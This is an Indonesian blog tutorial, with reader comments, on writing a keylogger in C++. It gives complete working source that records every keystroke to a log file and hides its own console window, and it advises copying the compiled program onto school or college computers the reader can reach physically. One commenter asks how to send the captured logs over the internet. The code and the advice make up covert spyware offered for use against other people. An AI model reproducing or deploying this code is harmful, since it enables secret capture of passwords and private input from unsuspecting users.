Hai semua, pada kesempatan kali ini saya akan berbagi dan share tentang bagaimana membuat keylogger sederhana dengan C+ +. Kita Langsung Aja Yuk.
Perlengkapan Yang Dibutuhkan:
1. Dev C + +. Kalau belum punya bisa download di http://www.bloodsheed.net/
2. Cukup Paham Dengan Visual C + +
Langkah-Langkahnya:
1. Install Dev C + + kemudian jalankan Dev C + + compiler.
2. Pilih file -> New -> Source File (Akan terlihat lembar kerja kosong)
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
4. Compile kode tersebut (ctrl+F9)
5. Sekarang coba jalankan program dengan cara, pilih Execute -> Run (ctrl+F10)
Sekarang keylogger Anda akan berjalan di sistem/PC anda. apapun yang Anda ketik menggunakan keyboard, akan disimpan dalam file log.txt.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.
(0r)
jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan menjalankannya.
Hanya itu saja yang bisa saya sampaikan. Semoga ilmu diatas bisa bermanfaat bagi kita semua. Mohon maaf jika ada yang salah.
This comment has been removed by the author.
ReplyDeleteThis comment has been removed by the author.
ReplyDelete:f whah makasih gan. saya jg lagi belajar c++ nih, bbrapa waktu lalu liat dosen buat keylog soal nya, keren. (msih sem II ni..)
ReplyDeleteoh ya gan, kalo misal program tsb diletakkan pada komp lain, tp hasil log tetap dikirim ke pc kita lewat internet kira2 bisa ngga ya? lebih rumit ya? hehe.. trims...
:-g
trus apakah emang keluar warning sperti ini? :?
C:\Users\Lorenzo\Documents\Dev-C++\BCS.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]